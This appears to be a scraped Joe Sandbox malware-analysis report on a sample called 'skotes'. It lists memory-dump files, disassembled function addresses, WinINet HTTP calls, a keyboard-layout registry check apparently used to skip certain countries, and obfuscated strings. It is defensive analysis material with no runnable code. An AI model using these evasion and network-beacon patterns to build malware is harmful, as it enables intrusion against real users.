Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 8340f9757d188379acb10761eae4cc6219743f95a4b1cdc85d94d658e2e539fe
Instruction ID: c5b4dfa23cfdd273f9fcb231517bf84b74168422ffad5776c341d9015f6eaf13
Opcode Fuzzy Hash: 8340f9757d188379acb10761eae4cc6219743f95a4b1cdc85d94d658e2e539fe
Instruction Fuzzy Hash: 55C16771A04214AFDB209F78DD52BAE7BBDEF85314F2404AAE991D7291E7309E41CF50

Function 008FEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FEB51
CreateDirectoryA.KERNEL32(00000000), ref: 008FEC83
GetFileAttributesA.KERNEL32(00000000), ref: 008FED98

Strings

FisgLnsCZO1i, xrefs: 008FFF19
WTs=, xrefs: 009005CA
GiQaT29tduF=, xrefs: 008FFEB6
9c9aa5, xrefs: 008FFB8E
111, xrefs: 008FF7A0
mxo1L0x, xrefs: 008FEE84
stoi argument out of range, xrefs: 009008C4
#, xrefs: 00900624
FCQgKF==, xrefs: 008FFEE4
246122658369, xrefs: 008FF737, 008FFA14, 008FFE00, 009005E7
invalid stoi argument, xrefs: 009008B0
WDw=, xrefs: 008FF71D, 008FF9FA, 008FFDE3
UA==, xrefs: 008FEC41, 008FED56, 008FEF89, 008FF2CE

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: f5c9f6f16cf15ec15e7f915a027c0929c2bb1d11083a0e29fb1457b1f5837c5a
Instruction ID: ec8706b2aff710027dee57eb6528aa080db86621f69aae6bf1b7095cd5abb454
Opcode Fuzzy Hash: f5c9f6f16cf15ec15e7f915a027c0929c2bb1d11083a0e29fb1457b1f5837c5a
Instruction Fuzzy Hash: 24F23971A001489FEB18DB38CD89B9DBB72EFC5304F148298E549E73D6DB359AC48B91

Function 008FBE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,82C993AC,?,00000000), ref: 008FBEB8
InternetOpenW.WININET(00948DC8,00000000,00000000,00000000,00000000), ref: 008FBEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 008FBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 008FBF36
HttpSendRequestA.WININET(?,00000000), ref: 008FBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 008FC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 008FC161
InternetCloseHandle.WININET(?), ref: 008FC187
InternetCloseHandle.WININET(?), ref: 008FC18F
InternetCloseHandle.WININET(?), ref: 008FC197

Strings

8HJUeMD Lq5=, xrefs: 008FC465
stoi argument out of range, xrefs: 008FE4EA
RE1NXF==, xrefs: 008FBF0E
invalid stoi argument, xrefs: 008FE4F4
8HJUeIfzLo==, xrefs: 008FC3CB, 008FC623

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 7f555e6a129b3359e751e7bcf5ed97371704b7de408b1b23c3f21cbf1349390d
Instruction ID: ea9a43aed77658d8ebc8df30e19e1d3dd384d11316d83129da56b15969a589f6
Opcode Fuzzy Hash: 7f555e6a129b3359e751e7bcf5ed97371704b7de408b1b23c3f21cbf1349390d
Instruction Fuzzy Hash: 5AB1C2B1A0011C9BDB24CF28CD85BAEBBA5EF85304F508199F609D72D1DB719BC4CB95

Function 008F6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 008F617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 008F6271

Strings

Keyboard Layout\Preload, xrefs: 008F6054
00000423, xrefs: 008F60FA
00000419, xrefs: 008F6098
00000422, xrefs: 008F60C9
0000043f, xrefs: 008F612B

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: ab7023b3783a12aaa151403061de003b7331e41f781c9056fa54a00ec924f2bb
Instruction ID: 14e56bef6fb1e8737a3c74fdd255804de32a5118ec005b47959e8c2ac271c7ec
Opcode Fuzzy Hash: ab7023b3783a12aaa151403061de003b7331e41f781c9056fa54a00ec924f2bb
Instruction Fuzzy Hash: 5AB19D7190026C9BEB24DB64CC85BEEB779EF44340F5402D8E508E72D1DB74ABA88F95

Function 008F7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008F7ED3

Strings

JjsrPl==, xrefs: 008F828A
JjssOl==, xrefs: 008F813A
JjssPV==, xrefs: 008F81E2
JjsrQV==, xrefs: 008F8092

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
